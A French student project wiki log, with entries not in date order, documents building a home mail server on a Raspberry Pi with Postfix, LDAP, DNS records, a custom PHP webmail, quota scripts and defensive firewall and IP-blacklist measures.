Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===

* Écriture du rapport intermédiaire
* Réalisation du support de soutenance

===Semaine 14 (04/01/2016)===

* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation

===Semaine 15 (11/01/2016)===

Poursuite de la longue réécriture du code shell en perl.

===Semaine 16 (18/01/2016)===

Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut "pj" quand une pièce jointe est présente.

Côté serveur : La complexité du script permettant l'extraction des informations des mails devenant trop importante, nous avons pris le parti de réécrire le code dans un langage un peu plus simple : le Perl. Il permettra d'éviter l'utilisation de (nombreuses) variables d'environnement, tout en proposant des performances accrues.

===Semaine 17 (25/01/2016)===

Côté web :
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans "Envoyés", les mails reçus dans "Boite de réception", manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas

Côté serveur : Implémentation de la gestion des quotas. Quand un mail arrive, chaque destinataire voit son quota contrôlé pour déterminer si oui ou non le mail peut être délivré. Comme nous l'avions dit précédemment, postfix gère le rebond des mails grâce au code de terminaison du script. Or nous à priori il va falloir proposer une solution maison pour pouvoir le faire. En effet, si un mail est refusé pour cause de quota plein, le mail reçu est tout bonnement supprimé sans notifier ni le destinataire, ni l'envoyeur.

===Semaine 18 (01/02/2016)===

Côté web :
* Identification d'un administrateur ou simple utilisateur
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs.
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers ".inc" : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.

Côté serveur :
Mise en place d'un système de récupération des pièces jointes. Pour cela nous utiliserons la commande munpack du paquet mpack. Cette commande permet de décomposer un fichier mail pour notamment en récupérer les pièces jointes. De plus, après test et concertation, nous nous sommes rendu compte qu'il serait intéressant d'utiliser cette même commande pour extraire les messages des mails, évitant ainsi un chargement assez long sur l'interface graphique.

===Semaine 19 (08/02/2016)===
Côté Web :
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.
* Suppression d'un compte : fonctionnelle
* Création d'un compte : fonctionnelle
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de lister les groupes existants : OK
* Création d'une fonction permettant de créer/supprimer un groupe : OK

Au 10/02, on peut créer des comptes, les dossiers sont crées sur le système sans problème à réception d'un mail de bienvenue, on peut envoyer et recevoir des messages, donner les droits d'administrations, gérer la configuration du webmail depuis l'interface, gérer les utilisateurs et leurs attributs depuis l'interface, tout semble prêt relativement au cahier des charges initial. Nous allons migrer notre installation sur une autre IP et autre domaine.

Côté serveur :
Croyant que les fonctionnalités demandées étaient implémentées, nous nous sommes rendu compte après tests que les mails envoyés d'un compte Intimail à un autre compte Intimail n'apparaissaient pas. Ceci était du au fait que le script utilisé n'était activé que lors de la réception d'un mail par le réseau (serveur smtp). Nous avons donc modifié la manière donc les mails sont passés au script, en ajoutant une règle dans <code>master.cf</code> :
mailrte unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/home/moth/Documents/pfe/postfix/json_parser.pl $queue_id $size $sender $recipient
Pas de grande nouveauté ici. Dans le fichier <code>main.cf</code> :
virtual_transport = mailrte

Ces commandes passent TOUT les mails au script défini via l'entrée standard. C'est notre script qui doit alors se débrouiller pour délivrer les mails (précédemment, postfix se chargeait toujours d'écrire les fichiers). Encore une fois, nous avons donc dû modifier notre programme en conséquence.

===Semaine 20 (15/02/2016)===
Nous avons migré la raspberry d'une IP interne au réseau Polytech vers une IP externe. La migration s'est passée sans aucun problème, le plus long étant d'attendre que les zones DNS se propagent (cela a bien pris 1 heure !). Nous sommes donc passés de 193.48.57.171 vers 5.23.44.85.
Nous émettons enfin des mails vers les serveurs extérieurs (en particulier Google Mail, Microsoft Live...). La théorie de départ que nos échecs d'envoi étaient dû aux restrictions du CRI s'est donc bien vérifiée : plus aucun problème juste en migrant.

Finalisation de

===Semaine 21 (22/02/2016)===

* Tournage de la vidéo du projet avec Laurent Engels du service Communication
* Fin de la rédaction du rapport final de PFE
* Rédaction du diaporama de présentation orale du PFE

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http:// Soon™]

Vidéo de Projet : [http:// Soon™] (RDV le 22/02 10h avec Laurent Engels)

P9 Système d'hébergement domestique

2016-02-17T09:28:52Z

Tteneur : /* Semaine 20 (15/02/2016) */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

